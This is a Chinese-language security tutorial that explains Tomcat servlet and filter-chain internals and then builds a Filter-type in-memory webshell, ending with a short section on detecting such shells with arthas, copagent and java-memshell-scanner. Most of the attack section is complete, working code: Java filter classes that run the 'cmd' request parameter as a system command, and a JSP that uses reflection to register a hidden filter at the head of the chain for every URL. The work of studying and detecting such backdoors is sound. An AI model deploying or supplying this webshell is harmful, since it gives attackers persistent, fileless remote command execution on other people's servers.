本文站在巨人的肩膀學習Java Filter型內存馬,文章里面的鏈接以及圖片引用於下面文章,參考文章:
Tomcat簡介
什么是Servlet
Servlet 是運行在 Web 服務器或應用服務器上的程序,它是作為來自 HTTP 客戶端的請求和 HTTP 服務器上的數據庫或應用程序之間的中間層。它負責處理用戶的請求,並根據請求生成相應的返回信息提供給用戶。
請求的處理流程
1. 客戶端發起一個http請求,比如get類型。2. Servlet容器接收到請求,根據請求信息,封裝成HttpServletRequest和HttpServletResponse對象。
3. Servlet容器調用HttpServlet的init()方法,init方法只在第一次請求的時候被調用。
4. Servlet容器調用service()方法。service()方法根據請求類型,這里是get類型,分別調用doGet或者
doPost方法,這里調用doGet方法。doXXX方法中是我們自己寫的業務邏輯。
5. 業務邏輯處理完成之后,返回給Servlet容器,然后容器將結果返回給客戶端。容器關閉時候,會調用destory方法
1.3 Tomcat和Servlet的關系
Tomcat 是Web應用服務器,是一個Servlet/JSP容器,Tomcat 作為Servlet容器,負責處理客戶請求,把請求傳送給Servlet,並將Servlet的響應傳送回給客戶。
其中Tomcat中有四種類型的Servlet容器,從上到下分別是 Engine、Host、Context、Wrapper
1. Engine,實現類為 org.apache.catalina.core.StandardEngine
2. Host,實現類為 org.apache.catalina.core.StandardHost
3. Context,實現類為 org.apache.catalina.core.StandardContext
4. Wrapper,實現類為 org.apache.catalina.core.StandardWrapper
它們之間是存在父子關系的
- Engine:可以用來配置多個虛擬主機,每個虛擬主機都有一個域名,當Engine獲得一個請求時,它把該請求匹配到某個Host上,然后把該請求交給該Host來處理,Engine有一個默認虛擬主機,當請求無法匹配到任何一個Host上的時候,將交給該默認Host來處理。
- Host:一個 Host 代表一個虛擬主機,其下可以包含多個 Context。
- Context:一個Context對應於一個Web Application,一個WebApplication由一個或者多個Servlet組成。 Context在創建的時候將根據配置文件\$CATALINA_HOME/conf/web.xml和\$WEBAPP_HOME/WEB-INF/web.xml載入Servlet類,當Context獲得請求時,將在自己的映射表(mapping table)中尋找相匹配的Servlet類。如果找到,則執行該類,獲得請求的回應,並返回。
- Wrapper:一個 Wrapper 代表一個 Servlet。
每個Wrapper實例表示一個具體的Servlet定義,StandardWrapper是Wrapper接口的標准實現類(StandardWrapper 的主要任務就是載入Servlet類並且進行實例化)
最終的流程圖如下:
Tomcat容器
在 Tomcat 中,每個 Host 下可以有多個 Context (Context 是 Host 的子容器), 每個 Context 都代表一個具體的Web應用,都有一個唯一的路徑就相當於下圖中的 /shop /manager 這種,在一個 Context 下可以有着多個 Wrapper Wrapper 主要負責管理 Servlet ,包括的 Servlet 的裝載、初始化、執行以及資源回收
Tomcat Filter流程分析
什么是Filter
filter也稱之為過濾器,過濾器實際上就是對web資源進行攔截,做一些過濾,權限鑒別等處理后再交給下一個過濾器或servlet處理,通常都是用來攔截request進行處理的,也可以對返回的response進行攔截處理。
當多個filter同時存在的時候,組成了filter鏈。web服務器根據Filter在web.xml文件中的注冊順序,決定先調用哪個Filter。第一個Filter的doFilter方法被調用時,web服務器會創建一個代表Filter鏈的FilterChain對象傳遞給該方法。在doFilter方法中,開發人員如果調用了FilterChain對象的doFilter方法,則web服務器會檢查FilterChain對象中是否還有filter,如果有,則調用第2個filter,如果沒有,則調用目標資源。
如果我們動態創建一個filter並且將其放在最前面,我們的filter就會最先執行,當我們在filter中添加惡意代碼,就會進行命令執行,這樣也就成為了一個內存 Webshell
Filter生命周期
public void init(FilterConfig filterConfig) throws ServletException; //初始化
和我們編寫的Servlet程序一樣,Filter的創建和銷毀由WEB服務器負責。web 應用程序啟動時, web 服務器將創建Filter 的實例對象,並調用其init方法,讀取web.xml配置,完成對象的初始化功能,從而為后續的用戶請求作好攔截的准備工作(filter對象只會創建一次,init方法也只 會執行一次)。開發人員通過init方法的參數,可獲得代表當前filter配置信息的FilterConfig對象。
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException; //攔截請求
這個方法完成實際的過濾操作。當客戶請求訪問與過濾器關聯的URL的時候,Servlet過濾器將先執行doFilter方法。FilterChain參數用於訪問后續過濾器。
public void destroy(); //銷毀
Filter對象創建后會駐留在內存,當web應用移除或服務器停止時才銷毀。在Web容器卸載Filter對象之前被調用。該方法在Filter的生命周期中僅執行一次。在這個方法中,可以釋放過濾器使用的資源。
相關Filter類介紹
FilterDefs:存放FilterDef的數組 ,FilterDef 中存儲着我們過濾器名,過濾器實例等基本信息
FilterConfigs:存放filterConfig的數組,在 FilterConfig 中主要存放 FilterDef 和 Filter對象等信息
FilterMaps:存放FilterMap的數組,在 FilterMap 中主要存放了 FilterName 和 對應的URLPattern
FilterChain:過濾器鏈,該對象上的 doFilter 方法能依次調用鏈上的 Filter
ApplicationFilterChain:調用過濾器鏈
ApplicationFilterConfig:獲取過濾器
ApplicationFilterFactory:組裝過濾器鏈
WebXml:存放 web.xml 中內容的類
ContextConfig:Web應用的上下文配置類
StandardContext:Context接口的標准實現類,一個 Context 代表一個 Web 應用,其下可以包含多個 Wrapper
StandardWrapperValve:一個 Wrapper 的標准實現類,一個 Wrapper 代表一個Servlet
Filter過濾鏈分析
在IDEA中創建Servlet,可參照下方鏈接《IntelliJ IDEA創建Servlet最新方法 Idea版本2020.2.2以及IntelliJ IDEA創建Servlet 404問題(超詳細)》,唯一不一樣的是Filter配置在web.xml,而不是通過@注釋配置在類中。
web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<filter>
<filter-name>filterDemo</filter-name>
<filter-class>filter.FilterDemo</filter-class>
</filter>
<filter-mapping>
<filter-name>filterDemo</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<filter>
<filter-name>filterDemo2</filter-name>
<filter-class>filter.FilterDemo2</filter-class>
</filter>
<filter-mapping>
<filter-name>filterDemo2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
</web-app>
這里寫了兩個FilterDemo,代碼基本相同,主要是為了展示這個Filter過濾鏈
FilterDemo.java:
package filter;
import javax.servlet.*;
import java.io.IOException;
public class FilterDemo implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("第一個Filter 初始化創建");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("第一個Filter執行過濾操作");
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
}
訪問 http://localhost:8080/,即可成功觸發
接下來借用下面這張圖分析一下 Tomcat 中是如何將我們自定義的 filter 進行設置並且調用的:
Filter的配置在web.xml中,Tomcat會首先通過ContextConfig創建WebXML的實例來解析web.xml
先來看在StandardWrapperValue.java文件中中利用createFilterChain來創建filterChain
跟進createFilterChain方法
通過getParent()獲取當前的Context,也就是當前的應用,然后從Context中獲取filterMaps
然后開始遍歷FilterMaps
如果當前請求的url與FilterMap中的urlPattern匹配,就會調用 findFilterConfig 方法在 filterConfigs 中尋找對應 filterName名稱的 FilterConfig,然后如果不為null,就進入if循環,將 filterConfig 添加到 filterChain中,跟進addFilter方法
可以看到此時已經裝配第一個filter
重復遍歷直至將所有的filter全部裝載到filterchain中
重新回到 StandardContextValue 中,調用 filterChain 的 doFilter 方法 ,就會依次調用 Filter 鏈上的 doFilter方法
此時的filterchain
跟進doFilter方法,在 doFilter 方法中會調用 internalDoFilter方法
跟進internalDoFilter方法
發現會依次從 filters 中取出 filterConfig,然后會調用 getFilter() 將 filter 從filterConfig 中取出,調用 filter 的 doFilter方法。從而調用我們自定義過濾器中的 doFilter 方法,從而觸發了相應的代碼。
總結:
- 根據請求的 URL 從 FilterMaps 中找出與之 URL 對應的 Filter 名稱
- 根據 Filter 名稱去 FilterConfigs 中尋找對應名稱的 FilterConfig
- 找到對應的 FilterConfig 之后添加到 FilterChain中,並且返回 FilterChain
- filterChain 中調用 internalDoFilter 遍歷獲取 chain 中的 FilterConfig ,然后從 FilterConfig 中獲取 Filter,然后調用 Filter 的 doFilter 方法
根據上面的總結可以發現最開始是從 context 中獲取的 FilterMaps
將符合條件的依次按照順序進行調用,那么我們可以將自己創建的一個 FilterMap 然后將其放在 FilterMaps 的最前面,這樣當 urlpattern 匹配的時候就回去找到對應 FilterName 的 FilterConfig ,然后添加到 FilterChain 中,最終觸發我們的內存shell。
Filter型內存馬
Filter型內存馬原理
Filter是javaweb中的過濾器,會對客戶端發送的請求進行過濾並做一些操作,我們可以在filter中寫入命令執行的惡意文件,讓客戶端發來的請求通過它來做命令執行。而filter內存馬是通過動態注冊一個惡意filter,由於是動態注冊的,所以這個filter沒有文件實體,存在於內存中,隨着tomcat重啟而消失。一般我們把這個filter放在所有filter最前面優先執行,這樣我們的請求就不會受到其他正常filter的干擾。
web.xml簡單實現內存馬注入
看完上面的Filter過濾鏈,本地模擬一個Filter內存馬注入:
在web.xml添加一個惡意的filter:
<?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"> <filter> <filter-name>cmd_Filters</filter-name> <filter-class>filter.cmd_Filters</filter-class> </filter> <filter-mapping> <filter-name>cmd_Filters</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> <filter> <filter-name>filterDemo</filter-name> <filter-class>filter.FilterDemo</filter-class> </filter> <filter-mapping> <filter-name>filterDemo</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> </web-app>
cmd_Filters.java
package filter; import javax.servlet.*; import javax.servlet.annotation.WebFilter; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.InputStream; import java.util.Scanner; public class cmd_Filters implements Filter { public void destroy() { } public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException { HttpServletRequest req = (HttpServletRequest) request; HttpServletResponse resp = (HttpServletResponse) response; if (req.getParameter("cmd") != null) { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; resp.getWriter().write(output); resp.getWriter().flush(); } chain.doFilter(request, response); } public void init(FilterConfig config) throws ServletException { } }
重新編譯,執行命令
我們把惡意的Filter注入內存中,只要符合urlpattern,就可以觸發內存shell,但這個Filter內存馬注入是一次性的,重啟就沒有了。
看一下此時的Filter類filterConfigs,filterDefs,filterMaps保存的內容
filterchain中保存的內容
可以發現程序在創建過濾器鏈的時候,如果我們能夠修改filterConfigs,filterDefs,filterMaps這三個變量,將我們惡意構造的FilterName以及對應的urlpattern存放到FilterMaps,就可以組裝到filterchain里,當訪問符合urlpattern的時候,就能達到利用Filter執行內存注入的操作。
Filter內存馬動態注入
從上面的例子簡單知道內存馬的注入過程,但是實際環境中怎么可能在web.xml中添加對應的惡意Filter類,所以我們需要借用Java反射來修改filterConfigs,filterDefs,filterMaps這三個變量,將我們惡意構造的FilterName以及對應的urlpattern存放到FilterMaps,進而達到利用Filter執行內存注入的操作。
大致流程如下:
1. 創建一個惡意 Filter
2. 利用 FilterDef 對 Filter 進行一個封裝
3. 將 FilterDef 添加到 FilterDefs 和 FilterConfig
4. 創建 FilterMap ,將我們的 Filter 和 urlpattern 相對應,存放到 filterMaps中(由於 Filter 生效會有一個先后順序,所以我們一般都是放在最前面,讓我們的 Filter 最先觸發)
從前面的的分析,可以發現程序在創建過濾器鏈的時候,context變量里面包含了三個和filter有關的成員變量:filterConfigs,filterDefs,filterMaps
現在要解決的兩個問題:
- 如何獲取這個context對象。
- 如何修改filterConfigs,filterDefs,filterMaps,將惡意類插入。
1) 如何獲取這個(StandardContext)context對象
在這之前先來說一下ServletContext跟StandardContext的關系:
Tomcat中的對應的ServletContext實現是ApplicationContext。
在Web應用中獲取的ServletContext實際上是ApplicationContextFacade對象,對ApplicationContext進行了封裝,而ApplicationContext實例中又包含了StandardContext實例,以此來獲取操作Tomcat容器內部的一些信息,例如Servlet的注冊等。通過下面的圖可以很清晰的看到兩者之間的關系
當我們能直接獲取 request 的時候,可以直接將 ServletContext 轉為 StandardContext 從而獲取 context。
其實也是層層遞歸取出context字段的值。
ServeltContext -> ApplicationContext
ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); //上面幾行的目的是為了獲取(ApplicationContext)context
通過Java反射獲取servletContext所屬的類(ServletContext實際上是ApplicationContextFacade對象),使用getDeclaredField根據指定名稱context獲取類的屬性(private final org.apache.catalina.core.ApplicationContext),因為是private類型,所以使用setAccessible取消對權限的檢查,實現對私有的訪問,此時appctx的值:
通過(ApplicationContext) appctx.get(servletContext)獲取(ApplicationContext)context的內容:
現在的目的是繼續獲取(StandardContext)context的值
ApplicationContext -> StandardContext(ApplicationContext實例中包含了StandardContext實例)
Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); //上面幾行的目的是為了獲取(StandradContext)context
通過Java反射獲取applicationContext所屬的類(org.apache.catalina.core.ApplicationContext),使用getDeclaredField根據指定名稱context獲取類的屬性(private final org.apache.catalina.core.StandardContext),因為是private類型,使用setAccessible取消對權限的檢查,實現對私有的訪問,此時stdctx的值:
通過(StandardContext) stdctx.get(servletContext)獲取(StandardContext)context的內容:
這樣就可以獲取(StandardContext)context對象。
組合起來就是:
ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); // ApplicationContext 為 ServletContext 的實現類 ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); // 這樣我們就獲取到了 context StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
上面這種如果是可以直接獲取到request對象,就可以通過將ServletContext轉StandardContext這種方法來獲取(StandardContext)context的方法。如果沒有request對象的話可以從當前線程中獲取StandardContext(https://zhuanlan.zhihu.com/p/114625962)。
當然也可以從MBean中獲取,可以參考下面文章:
2) 如何修改filterConfigs,filterDefs,filterMaps
查看StandardContext源碼,先來介紹幾個方法
addFilterDef
添加一個filterDef到Context
addFilterMapBefore
添加filterMap到所有filter最前面
ApplicationFilterConfig
為指定的過濾器構造一個新的 ApplicationFilterConfig
先來定義一個惡意的類filterDemo.java:
package filter; import javax.servlet.*; import java.io.IOException; class filterDemo implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { String cmd = servletRequest.getParameter("cmd"); if (cmd!= null) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return; } filterChain.doFilter(servletRequest, servletResponse); } @Override public void destroy() { } }
filterDef裝載
看一下filterDef類的參數格式:
實例化一個FilterDef對象,並將惡意構造的惡意類添加到filterDef中
//定義一些基礎屬性、類名、filter名等 filterDemo filter = new filterDemo(); FilterDef filterDef = new FilterDef(); //name = filterDemo filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); filterDef.setFilter(filter); //添加filterDef standardContext.addFilterDef(filterDef);
filterMap裝載
看一下filterMap類的參數格式:
實例化一個FilterMap對象,並將filterMap到所有filter最前面
//創建filterMap,設置filter和url的映射關系,可設置成單一url如/xyz ,也可以所有頁面都可觸發可設置為/* FilterMap filterMap = new FilterMap(); // filterMap.addURLPattern("/*"); filterMap.addURLPattern("/xyz"); //name = filterDemo filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); //添加我們的filterMap到所有filter最前面 standardContext.addFilterMapBefore(filterMap);
filterConfigs裝載
FilterConfigs存放filterConfig的數組,在FilterConfig中主要存放FilterDef和Filter對象等信息
先獲取當前filterConfigs信息
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext);
下面通過Java反射來獲得構造器(Constructor)對象並調用其newInstance()方法創建創建FilterConfig
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
先調用ApplicationFilterConfig.class.getDeclaredConstructor方法,根據context.class與filterDef.class兩種參數類型尋找對應的構造方法,獲取一個Constructor類對象。
然后通過newInstance(standardContext, filterDef)來創建一個實例。
然后將惡意的filter名和配置好的filterConfig傳入
//name = filterDemo filterConfigs.put(name,filterConfig);
至此,我們的惡意filter已經全部裝載完成
3) 內存馬動態注入
結合上面的分析,最終的內存馬為:
filterDemo.jsp
<%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.Map" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.catalina.Context" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <% final String name = "FilterAgent"; ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); if (filterConfigs.get(name) == null){ Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null){ byte[] bytes = new byte[1024]; Process process = new ProcessBuilder("cmd","/c",req.getParameter("cmd")).start(); int len = process.getInputStream().read(bytes); servletResponse.getWriter().write(new String(bytes,0,len)); process.destroy(); return; } filterChain.doFilter(servletRequest,servletResponse); } @Override public void destroy() { } }; FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); /** * 將filterDef添加到filterDefs中 */ standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name,filterConfig); out.print("Inject Success !"); } %>
tomcat 7 與 tomcat 8 在 FilterDef 和 FilterMap 這兩個類所屬的包名不一樣
<!-- tomcat 8/9 -->
<!-- page import = "org.apache.tomcat.util.descriptor.web.FilterMap"
<!-- page import = "org.apache.tomcat.util.descriptor.web.FilterDef" -->
<!-- tomcat 7 -->
<%@ page import = "org.apache.catalina.deploy.FilterMap" %>
<%@ page import = "org.apache.catalina.deploy.FilterDef" %>
運行程序,訪問filterDemo.jsp
此時的內存馬已經注入到內存中,只需 ?cmd=Command,即可執行我們的命令
看一下此時的filterchain過濾鏈:
看一下filterConfigs,filterDefs,filterMaps中的內容:
已經成功注入到內存中
內存馬排查
參考《tomcat內存馬的多種查殺方式》
arthas
arthas是Alibaba開源的Java診斷工具
工具鏈接:https://github.com/alibaba/arthas
使用文檔:https://arthas.aliyun.com/doc/quick-start.html
運行下面命令
java -jar arthas-boot.jar
輸入1選擇tomcat的進程,之后會進入下面的操作界面:
利用下面的命令進行模糊搜索,會列出所有調用了Filter的類
sc *.Filter
利用下面命令將 Class 進行反編譯
jad --source-only org.apache.jsp.filterDemo_jsp
同時也可以進行監控 ,當我們訪問 url 就會輸出監控結果
watch org.apache.catalina.core.ApplicationFilterFactory createFilterChain 'returnObj.filters.{?#this!=null}.{filterClass}'
copagent
工具鏈接:https://github.com/LandGrey/copagent
運行下面命令
java -jar cop.jar
輸入1選擇tomcat的進程,之后會進入下面的操作界面:
然后在java或class文件夾會保存木馬以及運行的類
java-memshell-scanner
工具鏈接:https://github.com/c0ny1/java-memshell-scanner
c0ny1 師傅寫的檢測內存馬的工具,通過jsp腳本掃描並查殺各類中間件內存馬,比Java agent要溫和一些。能夠檢測並且進行刪除,是一個非常方便的工具
內存馬遠不止這些,本文中內存馬還是需要上傳 jsp 來生效,但是實際上利用方式遠不止這樣,我們還可以借助各種反序列化來動態注冊 Filter 等。
本次項目的代碼文件已打包在github:https://github.com/bmjoker/FilterAgent